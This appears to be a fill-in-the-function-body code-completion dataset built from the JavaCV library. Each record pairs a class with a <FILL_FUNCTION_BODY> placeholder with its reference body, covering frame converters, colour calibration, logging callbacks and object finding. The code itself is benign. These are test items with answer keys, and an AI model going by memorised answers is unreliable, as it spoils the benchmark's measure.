<methods>public non-sealed void <init>() ,public void addPropertyChangeListener(java.beans.PropertyChangeListener) ,public int compareTo(org.bytedeco.javacv.BaseSettings) ,public void removePropertyChangeListener(java.beans.PropertyChangeListener) ,public java.lang.Object[] toArray() ,public java.lang.Object[] toArray(java.lang.Object[]) <variables>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/CanvasFrame.java
|
Exception
|
run
|
class Exception extends java.lang.Exception {
public Exception(String message) { super(message); }
public Exception(String message, Throwable cause) { super(message, cause); }
}
public static String[] getScreenDescriptions() {
GraphicsDevice[] screens = getScreenDevices();
String[] descriptions = new String[screens.length];
for (int i = 0; i < screens.length; i++) {
descriptions[i] = screens[i].getIDstring();
}
return descriptions;
}
public static DisplayMode getDisplayMode(int screenNumber) {
GraphicsDevice[] screens = getScreenDevices();
if (screenNumber >= 0 && screenNumber < screens.length) {
return screens[screenNumber].getDisplayMode();
} else {
return null;
}
}
public static double getGamma(int screenNumber) {
GraphicsDevice[] screens = getScreenDevices();
if (screenNumber >= 0 && screenNumber < screens.length) {
return getGamma(screens[screenNumber]);
} else {
return 0.0;
}
}
public static double getDefaultGamma() {
return getGamma(getDefaultScreenDevice());
}
public static double getGamma(GraphicsDevice screen) {
ColorSpace cs = screen.getDefaultConfiguration().getColorModel().getColorSpace();
if (cs.isCS_sRGB()) {
return 2.2;
} else {
try {
return ((ICC_ProfileRGB)((ICC_ColorSpace)cs).getProfile()).getGamma(0);
} catch (RuntimeException e) { }
}
return 0.0;
}
public static GraphicsDevice getScreenDevice(int screenNumber) throws Exception {
GraphicsDevice[] screens = getScreenDevices();
if (screenNumber >= screens.length) {
throw new Exception("CanvasFrame Error: Screen number " + screenNumber + " not found. " +
"There are only " + screens.length + " screens.");
}
return screens[screenNumber];//.getDefaultConfiguration();
}
public static GraphicsDevice[] getScreenDevices() {
return GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices();
}
public static GraphicsDevice getDefaultScreenDevice() {
return GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice();
}
public CanvasFrame(String title) {
this(title, 0.0);
}
public CanvasFrame(String title, double gamma) {
super(title);
init(false, null, gamma);
}
public CanvasFrame(String title, GraphicsConfiguration gc) {
this(title, gc, 0.0);
}
public CanvasFrame(String title, GraphicsConfiguration gc, double gamma) {
super(title, gc);
init(false, null, gamma);
}
public CanvasFrame(String title, int screenNumber, DisplayMode displayMode) throws Exception {
this(title, screenNumber, displayMode, 0.0);
}
public CanvasFrame(String title, int screenNumber, DisplayMode displayMode, double gamma) throws Exception {
super(title, getScreenDevice(screenNumber).getDefaultConfiguration());
init(true, displayMode, gamma);
}
private void init(final boolean fullScreen, final DisplayMode displayMode, final double gamma) {
Runnable r = new Runnable() { public void run() {<FILL_FUNCTION_BODY>
|
KeyboardFocusManager.getCurrentKeyboardFocusManager().
addKeyEventDispatcher(keyEventDispatch);
GraphicsDevice gd = getGraphicsConfiguration().getDevice();
DisplayMode d = gd.getDisplayMode(), d2 = null;
if (displayMode != null && d != null) {
int w = displayMode.getWidth();
int h = displayMode.getHeight();
int b = displayMode.getBitDepth();
int r = displayMode.getRefreshRate();
d2 = new DisplayMode(w > 0 ? w : d.getWidth(), h > 0 ? h : d.getHeight(),
b > 0 ? b : d.getBitDepth(), r > 0 ? r : d.getRefreshRate());
}
if (fullScreen) {
setUndecorated(true);
getRootPane().setWindowDecorationStyle(JRootPane.NONE);
setResizable(false);
gd.setFullScreenWindow(CanvasFrame.this);
} else {
setLocationByPlatform(true);
}
if (d2 != null && !d2.equals(d)) {
gd.setDisplayMode(d2);
}
double g = gamma == 0.0 ? getGamma(gd) : gamma;
inverseGamma = g == 0.0 ? 1.0 : 1.0/g;
// Must be called after the fullscreen stuff, but before
// getting our BufferStrategy or even creating our Canvas
setVisible(true);
initCanvas(fullScreen, displayMode, gamma);
| 867
| 394
| 1,261
|
<methods>public void <init>() throws java.awt.HeadlessException,public void <init>(java.awt.GraphicsConfiguration) ,public void <init>(java.lang.String) throws java.awt.HeadlessException,public void <init>(java.lang.String, java.awt.GraphicsConfiguration) ,public javax.accessibility.AccessibleContext getAccessibleContext() ,public java.awt.Container getContentPane() ,public int getDefaultCloseOperation() ,public java.awt.Component getGlassPane() ,public java.awt.Graphics getGraphics() ,public javax.swing.JMenuBar getJMenuBar() ,public javax.swing.JLayeredPane getLayeredPane() ,public javax.swing.JRootPane getRootPane() ,public javax.swing.TransferHandler getTransferHandler() ,public static boolean isDefaultLookAndFeelDecorated() ,public void remove(java.awt.Component) ,public void repaint(long, int, int, int, int) ,public void setContentPane(java.awt.Container) ,public void setDefaultCloseOperation(int) ,public static void setDefaultLookAndFeelDecorated(boolean) ,public void setGlassPane(java.awt.Component) ,public void setIconImage(java.awt.Image) ,public void setJMenuBar(javax.swing.JMenuBar) ,public void setLayeredPane(javax.swing.JLayeredPane) ,public void setLayout(java.awt.LayoutManager) ,public void setTransferHandler(javax.swing.TransferHandler) ,public void update(java.awt.Graphics) <variables>protected javax.accessibility.AccessibleContext accessibleContext,private int defaultCloseOperation,private static final java.lang.Object defaultLookAndFeelDecoratedKey,protected javax.swing.JRootPane rootPane,protected boolean rootPaneCheckingEnabled,private javax.swing.TransferHandler transferHandler
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ColorCalibrator.java
|
ColorCalibrator
|
calibrate
|
class ColorCalibrator {
public ColorCalibrator(ProjectiveDevice device) {
this.device = device;
}
private ProjectiveDevice device;
public double calibrate(Color[] referenceColors, Color[] deviceColors) {<FILL_FUNCTION_BODY>}
}
|
assert(referenceColors.length == deviceColors.length);
int[] order = device.getRGBColorOrder();
// solve for X and a in c = X p + a
CvMat A = CvMat.create(referenceColors.length*3, 12);
CvMat b = CvMat.create(referenceColors.length*3, 1);
CvMat x = CvMat.create(12, 1);
double gamma = device.getSettings().getResponseGamma();
for (int i = 0; i < referenceColors.length; i++) {
float[] dc = deviceColors [i].getRGBColorComponents(null);
float[] rc = referenceColors[i].getRGBColorComponents(null);
double dc1 = Math.pow(dc[order[0]], gamma);
double dc2 = Math.pow(dc[order[1]], gamma);
double dc3 = Math.pow(dc[order[2]], gamma);
for (int j = 0; j < 3; j++) {
int k = i*36 + j*16;
A.put(k , dc1);
A.put(k+1, dc2);
A.put(k+2, dc3);
A.put(k+3, 1.0);
if (j < 2) {
for (int m = 0; m < 12; m++) {
A.put(k+4+m, 0.0);
}
}
}
b.put(i*3 , rc[order[0]]);
b.put(i*3+1, rc[order[1]]);
b.put(i*3+2, rc[order[2]]);
}
//System.out.println("A =\n" + A);
//System.out.println("b =\n" + b);
// A.height = b.height = 18;
if (cvSolve(A, b, x, CV_SVD) != 1.0) {
System.out.println("Error solving.");
}
// compute RMSE and R^2 coefficient ...
CvMat b2 = CvMat.create(b.rows(), 1);
cvMatMul(A, x, b2);
double MSE = cvNorm(b, b2)*cvNorm(b, b2)/b.rows();
double RMSE = Math.sqrt(MSE);
CvScalar mean = new CvScalar(), stddev = new CvScalar();
cvAvgSdv(b, mean, stddev, null);
double R2 = 1 - MSE/(stddev.val(0)*stddev.val(0));
//System.out.println("RMSE: " + RMSE + " R2: " + R2);
//System.out.println("b2 =\n" + b2);
device.colorMixingMatrix = CvMat.create(3, 3);
device.additiveLight = CvMat.create(3, 1);
for (int i = 0; i < 3; i++) {
double x0 = x.get(i*4 );
double x1 = x.get(i*4+1);
double x2 = x.get(i*4+2);
double x3 = x.get(i*4+3);
device.colorMixingMatrix.put(i*3 , x0);
device.colorMixingMatrix.put(i*3+1, x1);
device.colorMixingMatrix.put(i*3+2, x2);
device.additiveLight .put(i, x3);
}
//System.out.println(device.colorMixingMatrix);
//System.out.println(device.additiveLight);
device.colorR2 = R2;
return device.avgColorErr = RMSE;
| 79
| 1,020
| 1,099
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/FFmpegLogCallback.java
|
FFmpegLogCallback
|
call
|
class FFmpegLogCallback extends LogCallback {
private static final Logger logger = Logger.create(FFmpegLogCallback.class);
static final FFmpegLogCallback instance = new FFmpegLogCallback().retainReference();
/** Returns an instance that can be used with {@link org.bytedeco.ffmpeg.global.avutil#setLogCallback(LogCallback)}. */
public static FFmpegLogCallback getInstance() {
return instance;
}
/** Calls {@code avutil.setLogCallback(getInstance())}. */
public static void set() {
setLogCallback(getInstance());
}
/** Returns {@code av_log_get_level()}. **/
public static int getLevel() {
return av_log_get_level();
}
/** Calls {@code av_log_set_level(level)}. **/
public static void setLevel(int level) {
av_log_set_level(level);
}
@Override public void call(int level, BytePointer msg) {<FILL_FUNCTION_BODY>}
}
|
switch (level) {
case AV_LOG_PANIC:
case AV_LOG_FATAL:
case AV_LOG_ERROR:
logger.error(msg.getString());
break;
case AV_LOG_WARNING:
logger.warn(msg.getString());
break;
case AV_LOG_INFO:
logger.info(msg.getString());
break;
case AV_LOG_VERBOSE:
case AV_LOG_DEBUG:
case AV_LOG_TRACE:
logger.debug(msg.getString());
break;
default:
assert false;
}
| 277
| 157
| 434
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/FrameConverter.java
|
FrameConverter
|
close
|
class FrameConverter<F> implements AutoCloseable {
protected Frame frame;
public abstract Frame convert(F f);
public abstract F convert(Frame frame);
@Override public void close() {<FILL_FUNCTION_BODY>}
}
|
if (frame != null) {
frame.close();
frame = null;
}
| 63
| 28
| 91
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/Java2DFrameUtils.java
|
Java2DFrameUtils
|
toBufferedImage
|
class Java2DFrameUtils {
private static OpenCVFrameConverter.ToIplImage iplConv = new OpenCVFrameConverter.ToIplImage();
private static OpenCVFrameConverter.ToMat matConv = new OpenCVFrameConverter.ToMat();
private static Java2DFrameConverter biConv = new Java2DFrameConverter();
/**
* Clones (deep copies the data) of a {@link BufferedImage}. Necessary when
* converting to BufferedImages from JavaCV types to avoid re-using the same
* memory locations.
*
* @param source
* @return
*/
public static BufferedImage deepCopy(BufferedImage source) {
return Java2DFrameConverter.cloneBufferedImage(source);
}
public synchronized static BufferedImage toBufferedImage(IplImage src) {
try (Frame f = iplConv.convert(src).clone()) {
return deepCopy(biConv.getBufferedImage(f));
}
}
public synchronized static BufferedImage toBufferedImage(Mat src) {<FILL_FUNCTION_BODY>}
public synchronized static BufferedImage toBufferedImage(Frame src) {
try (Frame f = src.clone()) {
return deepCopy(biConv.getBufferedImage(f));
}
}
public synchronized static IplImage toIplImage(Mat src){
return iplConv.convertToIplImage(matConv.convert(src)).clone();
}
public synchronized static IplImage toIplImage(Frame src){
return iplConv.convertToIplImage(src).clone();
}
public synchronized static IplImage toIplImage(BufferedImage src){
return iplConv.convertToIplImage(biConv.convert(src)).clone();
}
public synchronized static Mat toMat(IplImage src){
return matConv.convertToMat(iplConv.convert(src).clone());
}
public synchronized static Mat toMat(Frame src){
return matConv.convertToMat(src).clone();
}
public synchronized static Mat toMat(BufferedImage src){
return matConv.convertToMat(biConv.convert(src)).clone();
}
public synchronized static Frame toFrame(IplImage src){
return iplConv.convert(src).clone();
}
public synchronized static Frame toFrame(Mat src){
return matConv.convert(src).clone();
}
public synchronized static Frame toFrame(BufferedImage src){
return biConv.convert(src).clone();
}
}
|
try (Frame f = matConv.convert(src).clone()) {
return deepCopy(biConv.getBufferedImage(f));
}
| 677
| 41
| 718
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/JavaCvErrorCallback.java
|
JavaCvErrorCallback
|
call
|
class JavaCvErrorCallback extends CvErrorCallback {
static JavaCvErrorCallback instance;
public JavaCvErrorCallback() {
this(false);
}
public JavaCvErrorCallback(boolean showDialog) {
this(showDialog, null);
}
public JavaCvErrorCallback(boolean showDialog, Component parent) {
this(showDialog, parent, 0);
}
public JavaCvErrorCallback(boolean showDialog, Component parent, int rc) {
instance = this;
this.parent = parent;
this.showDialog = showDialog;
this.rc = rc;
}
private long lastErrorTime = 0;
private Component parent;
private boolean showDialog;
private int rc;
@Override public int call(int status, BytePointer func_name, BytePointer err_msg,
BytePointer file_name, int line, Pointer userdata) {<FILL_FUNCTION_BODY>}
}
|
final String title = "OpenCV Error";
final String message = cvErrorStr(status) +
" (" + err_msg.getString() + ")\nin function " +
func_name.getString() + ", " + file_name.getString() + "(" + line + ")";
Logger.getLogger(JavaCvErrorCallback.class.getName()).log(Level.SEVERE,
title + ": " + message, new java.lang.Exception("Strack trace"));
if (showDialog) {
// Show no more than 1 dialog per second since we cannot stop OpenCV
// from processing and throwing more errors. Maybe in the future
// when JavaCPP allows us to throw Exceptions across...
if (System.currentTimeMillis() - lastErrorTime > 1000) {
EventQueue.invokeLater(new Runnable() {
public void run() {
JOptionPane.showMessageDialog(parent, message,
title, JOptionPane.ERROR_MESSAGE);
}
});
}
lastErrorTime = System.currentTimeMillis();
}
return rc; // 0 = please don't terminate
| 245
| 288
| 533
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/JavaFXFrameConverter.java
|
FramePixelReader
|
getPixels
|
class FramePixelReader implements PixelReader {
Frame frame;
FramePixelReader(Frame f) {
this.frame = f;
}
@Override
public PixelFormat getPixelFormat() {
throw new UnsupportedOperationException("getPixelFormat not supported yet.");
}
@Override
public int getArgb(int x, int y) {
throw new UnsupportedOperationException("getArgb not supported yet.");
}
@Override
public Color getColor(int x, int y) {
throw new UnsupportedOperationException("getColor not supported yet.");
}
@Override
public <T extends Buffer> void getPixels(int x, int y, int w, int h, WritablePixelFormat<T> pixelformat, T buffer, int scanlineStride) {<FILL_FUNCTION_BODY>}
@Override
public void getPixels(int x, int y, int w, int h, WritablePixelFormat<ByteBuffer> pixelformat, byte[] buffer, int offset, int scanlineStride) {
throw new UnsupportedOperationException("getPixels<ByteBuffer> Not supported yet.");
}
@Override
public void getPixels(int x, int y, int w, int h, WritablePixelFormat<IntBuffer> pixelformat, int[] buffer, int offset, int scanlineStride) {
throw new UnsupportedOperationException("getPixels<IntBuffer>Not supported yet.");
}
}
|
int fss = frame.imageStride;
if (frame.imageChannels != 3) {
throw new UnsupportedOperationException("We only support frames with imageChannels = 3 (BGR)");
}
if (buffer instanceof ByteBuffer) {
ByteBuffer bb = (ByteBuffer) buffer;
ByteBuffer b = (ByteBuffer) frame.image[0];
for (int i = y; i < y + h; i++) {
for (int j = x; j < x + w; j++) {
int base = 3 * j;
bb.put(b.get(fss * i + base));
bb.put(b.get(fss * i + base + 1));
bb.put(b.get(fss * i + base + 2));
bb.put((byte) 255);
}
}
} else throw new UnsupportedOperationException ("We only support bytebuffers at the moment");
| 377
| 242
| 619
|
<methods>public non-sealed void <init>() ,public void close() ,public abstract org.bytedeco.javacv.Frame convert(javafx.scene.image.Image) ,public abstract javafx.scene.image.Image convert(org.bytedeco.javacv.Frame) <variables>protected org.bytedeco.javacv.Frame frame
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/LeptonicaFrameConverter.java
|
LeptonicaFrameConverter
|
convert
|
class LeptonicaFrameConverter extends FrameConverter<PIX> {
static { Loader.load(org.bytedeco.leptonica.global.leptonica.class); }
PIX pix;
BytePointer frameData, pixData;
ByteBuffer frameBuffer, pixBuffer;
static boolean isEqual(Frame frame, PIX pix) {
return pix != null && frame != null && frame.image != null && frame.image.length > 0
&& frame.imageWidth == pix.w() && frame.imageHeight == pix.h()
&& frame.imageChannels == pix.d() / 8 && frame.imageDepth == Frame.DEPTH_UBYTE
&& (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)
|| new Pointer(frame.image[0]).address() == pix.data().address())
&& frame.imageStride * Math.abs(frame.imageDepth) / 8 == pix.wpl() * 4;
}
public PIX convert(Frame frame) {
if (frame == null || frame.image == null) {
return null;
} else if (frame.opaque instanceof PIX) {
return (PIX)frame.opaque;
} else if (!isEqual(frame, pix)) {
Pointer data;
if (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)) {
if (pixData == null || pixData.capacity() < frame.imageHeight * frame.imageStride) {
if (pixData != null) {
pixData.releaseReference();
}
pixData = new BytePointer(frame.imageHeight * frame.imageStride).retainReference();
}
data = pixData;
pixBuffer = data.asByteBuffer().order(ByteOrder.BIG_ENDIAN);
} else {
data = new Pointer(frame.image[0].position(0));
}
if (pix != null) {
pix.releaseReference();
}
pix = PIX.create(frame.imageWidth, frame.imageHeight, frame.imageChannels * 8, data)
.wpl(frame.imageStride / 4 * Math.abs(frame.imageDepth) / 8).retainReference();
}
if (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)) {
((ByteBuffer)pixBuffer.position(0)).asIntBuffer()
.put(((ByteBuffer)frame.image[0].position(0)).order(ByteOrder.LITTLE_ENDIAN).asIntBuffer());
}
return pix;
}
public Frame convert(PIX pix) {<FILL_FUNCTION_BODY>}
@Override public void close() {
super.close();
if (pix != null) {
pix.releaseReference();
pix = null;
}
if (pixData != null) {
pixData.releaseReference();
pixData = null;
}
if (frameData != null) {
frameData.releaseReference();
frameData = null;
}
}
}
|
if (pix == null) {
return null;
}
PIX tempPix = null;
if (pix.colormap() != null) {
tempPix = pix = pixRemoveColormap(pix, REMOVE_CMAP_TO_FULL_COLOR);
} else if (pix.d() < 8) {
switch (pix.d()) {
case 1:
tempPix = pix = pixConvert1To8(null, pix, (byte)0, (byte)255);
break;
case 2:
tempPix = pix = pixConvert2To8(pix, (byte)0, (byte)85, (byte)170, (byte)255, 0);
break;
case 4:
tempPix = pix = pixConvert4To8(pix, 0);
break;
default:
assert false;
}
}
if (!isEqual(frame, pix)) {
frame = new Frame();
frame.imageWidth = pix.w();
frame.imageHeight = pix.h();
frame.imageDepth = Frame.DEPTH_UBYTE;
frame.imageChannels = pix.d() / 8;
frame.imageStride = pix.wpl() * 4;
if (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)) {
if (frameData == null || frameData.capacity() < frame.imageHeight * frame.imageStride) {
if (frameData != null) {
frameData.releaseReference();
}
frameData = new BytePointer(frame.imageHeight * frame.imageStride).retainReference();
}
frameBuffer = frameData.asByteBuffer().order(ByteOrder.LITTLE_ENDIAN);
frame.opaque = frameData;
frame.image = new Buffer[] { frameBuffer };
} else {
if (tempPix != null) {
if (this.pix != null) {
this.pix.releaseReference();
}
this.pix = pix = pix.clone();
}
frame.opaque = pix;
frame.image = new Buffer[] { pix.createBuffer() };
}
}
if (ByteOrder.nativeOrder().equals(ByteOrder.LITTLE_ENDIAN)) {
((ByteBuffer)frameBuffer.position(0)).asIntBuffer()
.put(pix.createBuffer().order(ByteOrder.BIG_ENDIAN).asIntBuffer());
}
if (tempPix != null) {
pixDestroy(tempPix);
}
return frame;
| 791
| 679
| 1,470
|
<methods>public non-sealed void <init>() ,public void close() ,public abstract org.bytedeco.javacv.Frame convert(PIX) ,public abstract PIX convert(org.bytedeco.javacv.Frame) <variables>protected org.bytedeco.javacv.Frame frame
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ObjectFinder.java
|
Settings
|
naiveNearestNeighbor
|
class Settings extends BaseChildSettings {
IplImage objectImage = null;
AKAZE detector = AKAZE.create();
double distanceThreshold = 0.75;
int matchesMin = 4;
double ransacReprojThreshold = 1.0;
boolean useFLANN = false;
public IplImage getObjectImage() {
return objectImage;
}
public void setObjectImage(IplImage objectImage) {
this.objectImage = objectImage;
}
public int getDescriptorType() {
return detector.getDescriptorType();
}
public void setDescriptorType(int dtype) {
detector.setDescriptorType(dtype);
}
public int getDescriptorSize() {
return detector.getDescriptorSize();
}
public void setDescriptorSize(int dsize) {
detector.setDescriptorSize(dsize);
}
public int getDescriptorChannels() {
return detector.getDescriptorChannels();
}
public void setDescriptorChannels(int dch) {
detector.setDescriptorChannels(dch);
}
public double getThreshold() {
return detector.getThreshold();
}
public void setThreshold(double threshold) {
detector.setThreshold(threshold);
}
public int getNOctaves() {
return detector.getNOctaves();
}
public void setNOctaves(int nOctaves) {
detector.setNOctaves(nOctaves);
}
public int getNOctaveLayers() {
return detector.getNOctaveLayers();
}
public void setNOctaveLayers(int nOctaveLayers) {
detector.setNOctaveLayers(nOctaveLayers);
}
public double getDistanceThreshold() {
return distanceThreshold;
}
public void setDistanceThreshold(double distanceThreshold) {
this.distanceThreshold = distanceThreshold;
}
public int getMatchesMin() {
return matchesMin;
}
public void setMatchesMin(int matchesMin) {
this.matchesMin = matchesMin;
}
public double getRansacReprojThreshold() {
return ransacReprojThreshold;
}
public void setRansacReprojThreshold(double ransacReprojThreshold) {
this.ransacReprojThreshold = ransacReprojThreshold;
}
public boolean isUseFLANN() {
return useFLANN;
}
public void setUseFLANN(boolean useFLANN) {
this.useFLANN = useFLANN;
}
}
Settings settings;
public Settings getSettings() {
return settings;
}
public void setSettings(Settings settings) {
this.settings = settings;
objectKeypoints = new KeyPointVector();
objectDescriptors = new Mat();
settings.detector.detectAndCompute(cvarrToMat(settings.objectImage),
new Mat(), objectKeypoints, objectDescriptors, false);
int total = (int)objectKeypoints.size();
if (settings.useFLANN) {
indicesMat = new Mat(total, 2, CV_32SC1);
distsMat = new Mat(total, 2, CV_32FC1);
flannIndex = new Index();
indexParams = new LshIndexParams(12, 20, 2); // using LSH Hamming distance
searchParams = new SearchParams(64, 0, true); // maximum number of leafs checked
searchParams.deallocate(false); // for some reason FLANN seems to do it for us
}
pt1 = new Mat(total, 1, CV_32FC2);
pt2 = new Mat(total, 1, CV_32FC2);
mask = new Mat(total, 1, CV_8UC1);
H = new Mat(3, 3, CV_64FC1);
ptpairs = new ArrayList<Integer>(2*objectDescriptors.rows());
logger.info(total + " object descriptors");
}
static final Logger logger = Logger.getLogger(ObjectFinder.class.getName());
KeyPointVector objectKeypoints = null, imageKeypoints = null;
Mat objectDescriptors = null, imageDescriptors = null;
Mat indicesMat, distsMat;
Index flannIndex = null;
IndexParams indexParams = null;
SearchParams searchParams = null;
Mat pt1 = null, pt2 = null, mask = null, H = null;
ArrayList<Integer> ptpairs = null;
public double[] find(IplImage image) {
if (objectDescriptors.rows() < settings.getMatchesMin()) {
return null;
}
imageKeypoints = new KeyPointVector();
imageDescriptors = new Mat();
settings.detector.detectAndCompute(cvarrToMat(image),
new Mat(), imageKeypoints, imageDescriptors, false);
if (imageDescriptors.rows() < settings.getMatchesMin()) {
return null;
}
int total = (int)imageKeypoints.size();
logger.info(total + " image descriptors");
int w = settings.objectImage.width();
int h = settings.objectImage.height();
double[] srcCorners = {0, 0, w, 0, w, h, 0, h};
double[] dstCorners = locatePlanarObject(objectKeypoints, objectDescriptors,
imageKeypoints, imageDescriptors, srcCorners);
return dstCorners;
}
static final int[] bits = new int[256];
static {
for (int i = 0; i < bits.length; i++) {
for (int j = i; j != 0; j >>= 1) {
bits[i] += j & 0x1;
}
}
}
int compareDescriptors(ByteBuffer d1, ByteBuffer d2, int best) {
int totalCost = 0;
assert d1.limit() - d1.position() == d2.limit() - d2.position();
while (d1.position() < d1.limit()) {
totalCost += bits[(d1.get() ^ d2.get()) & 0xFF];
if (totalCost > best)
break;
}
return totalCost;
}
int naiveNearestNeighbor(ByteBuffer vec, ByteBuffer modelDescriptors) {<FILL_FUNCTION_BODY>
|
int neighbor = -1;
int d, dist1 = Integer.MAX_VALUE, dist2 = Integer.MAX_VALUE;
int size = vec.limit() - vec.position();
for (int i = 0; i * size < modelDescriptors.capacity(); i++) {
ByteBuffer mvec = (ByteBuffer)modelDescriptors.position(i * size).limit((i + 1) * size);
d = compareDescriptors((ByteBuffer)vec.reset(), mvec, dist2);
if (d < dist1) {
dist2 = dist1;
dist1 = d;
neighbor = i;
} else if (d < dist2) {
dist2 = d;
}
}
if (dist1 < settings.distanceThreshold*dist2)
return neighbor;
return -1;
| 1,711
| 212
| 1,923
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/OpenCVFrameConverter.java
|
ToOrgOpenCvCoreMat
|
isEqual
|
class ToOrgOpenCvCoreMat extends OpenCVFrameConverter<org.opencv.core.Mat> {
@Override public Frame convert(org.opencv.core.Mat mat) { return super.convert(mat); }
@Override public org.opencv.core.Mat convert(Frame frame) { return convertToOrgOpenCvCoreMat(frame); }
}
public static int getFrameDepth(int depth) {
switch (depth) {
case IPL_DEPTH_8U: case CV_8U: return Frame.DEPTH_UBYTE;
case IPL_DEPTH_8S: case CV_8S: return Frame.DEPTH_BYTE;
case IPL_DEPTH_16U: case CV_16U: return Frame.DEPTH_USHORT;
case IPL_DEPTH_16S: case CV_16S: return Frame.DEPTH_SHORT;
case IPL_DEPTH_32F: case CV_32F: return Frame.DEPTH_FLOAT;
case IPL_DEPTH_32S: case CV_32S: return Frame.DEPTH_INT;
case IPL_DEPTH_64F: case CV_64F: return Frame.DEPTH_DOUBLE;
default: return -1;
}
}
public static int getIplImageDepth(int depth) {
switch (depth) {
case Frame.DEPTH_UBYTE: return IPL_DEPTH_8U;
case Frame.DEPTH_BYTE: return IPL_DEPTH_8S;
case Frame.DEPTH_USHORT: return IPL_DEPTH_16U;
case Frame.DEPTH_SHORT: return IPL_DEPTH_16S;
case Frame.DEPTH_FLOAT: return IPL_DEPTH_32F;
case Frame.DEPTH_INT: return IPL_DEPTH_32S;
case Frame.DEPTH_DOUBLE: return IPL_DEPTH_64F;
default: return -1;
}
}
static boolean isEqual(Frame frame, IplImage img) {
return img != null && frame != null && frame.image != null && frame.image.length > 0
&& frame.imageWidth == img.width() && frame.imageHeight == img.height()
&& frame.imageChannels == img.nChannels() && getIplImageDepth(frame.imageDepth) == img.depth()
&& new Pointer(frame.image[0].position(0)).address() == img.imageData().address()
&& frame.imageStride * Math.abs(frame.imageDepth) / 8 == img.widthStep();
}
public IplImage convertToIplImage(Frame frame) {
if (frame == null || frame.image == null) {
return null;
} else if (frame.opaque instanceof IplImage) {
return (IplImage)frame.opaque;
} else if (!isEqual(frame, img)) {
int depth = getIplImageDepth(frame.imageDepth);
if (img != null) {
img.releaseReference();
}
img = depth < 0 ? null : (IplImage)IplImage.create(frame.imageWidth, frame.imageHeight, depth, frame.imageChannels, new Pointer(frame.image[0].position(0)))
.widthStep(frame.imageStride * Math.abs(frame.imageDepth) / 8)
.imageSize(frame.image[0].capacity() * Math.abs(frame.imageDepth) / 8).retainReference();
}
return img;
}
public Frame convert(IplImage img) {
if (img == null) {
return null;
} else if (!isEqual(frame, img)) {
frame = new Frame();
frame.imageWidth = img.width();
frame.imageHeight = img.height();
frame.imageDepth = getFrameDepth(img.depth());
frame.imageChannels = img.nChannels();
frame.imageStride = img.widthStep() * 8 / Math.abs(frame.imageDepth);
frame.image = new Buffer[] { img.createBuffer() };
}
frame.opaque = img;
return frame;
}
public static int getMatDepth(int depth) {
switch (depth) {
case Frame.DEPTH_UBYTE: return CV_8U;
case Frame.DEPTH_BYTE: return CV_8S;
case Frame.DEPTH_USHORT: return CV_16U;
case Frame.DEPTH_SHORT: return CV_16S;
case Frame.DEPTH_FLOAT: return CV_32F;
case Frame.DEPTH_INT: return CV_32S;
case Frame.DEPTH_DOUBLE: return CV_64F;
default: return -1;
}
}
static boolean isEqual(Frame frame, Mat mat) {
return mat != null && frame != null && frame.image != null && frame.image.length > 0
&& frame.imageWidth == mat.cols() && frame.imageHeight == mat.rows()
&& frame.imageChannels == mat.channels() && getMatDepth(frame.imageDepth) == mat.depth()
&& new Pointer(frame.image[0].position(0)).address() == mat.data().address()
&& frame.imageStride * Math.abs(frame.imageDepth) / 8 == (int)mat.step();
}
public Mat convertToMat(Frame frame) {
if (frame == null || frame.image == null) {
return null;
} else if (frame.opaque instanceof Mat) {
return (Mat)frame.opaque;
} else if (!isEqual(frame, mat)) {
int depth = getMatDepth(frame.imageDepth);
if (mat != null) {
mat.releaseReference();
}
mat = depth < 0 ? null : (Mat)new Mat(frame.imageHeight, frame.imageWidth, CV_MAKETYPE(depth, frame.imageChannels),
new Pointer(frame.image[0].position(0)), frame.imageStride * Math.abs(frame.imageDepth) / 8).retainReference();
}
return mat;
}
public Frame convert(Mat mat) {
if (mat == null) {
return null;
} else if (!isEqual(frame, mat)) {
frame = new Frame();
frame.imageWidth = mat.cols();
frame.imageHeight = mat.rows();
frame.imageDepth = getFrameDepth(mat.depth());
frame.imageChannels = mat.channels();
frame.imageStride = (int)mat.step() * 8 / Math.abs(frame.imageDepth);
frame.image = new Buffer[] { mat.createBuffer() };
}
frame.opaque = mat;
return frame;
}
static boolean isEqual(Frame frame, org.opencv.core.Mat mat) {<FILL_FUNCTION_BODY>
|
return mat != null && frame != null && frame.image != null && frame.image.length > 0
&& frame.imageWidth == mat.cols() && frame.imageHeight == mat.rows()
&& frame.imageChannels == mat.channels() && getMatDepth(frame.imageDepth) == mat.depth()
&& new Pointer(frame.image[0].position(0)).address() == mat.dataAddr();
| 1,828
| 107
| 1,935
|
<methods>public non-sealed void <init>() ,public void close() ,public abstract org.bytedeco.javacv.Frame convert(F) ,public abstract F convert(org.bytedeco.javacv.Frame) <variables>protected org.bytedeco.javacv.Frame frame
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/OpenCVFrameRecorder.java
|
OpenCVFrameRecorder
|
start
|
class OpenCVFrameRecorder extends FrameRecorder {
public static OpenCVFrameRecorder createDefault(File f, int w, int h) throws Exception { return new OpenCVFrameRecorder(f, w, h); }
public static OpenCVFrameRecorder createDefault(String f, int w, int h) throws Exception { return new OpenCVFrameRecorder(f, w, h); }
private static Exception loadingException = null;
public static void tryLoad() throws Exception {
if (loadingException != null) {
throw loadingException;
} else {
try {
Loader.load(org.bytedeco.opencv.global.opencv_highgui.class);
} catch (Throwable t) {
throw loadingException = new Exception("Failed to load " + OpenCVFrameRecorder.class, t);
}
}
}
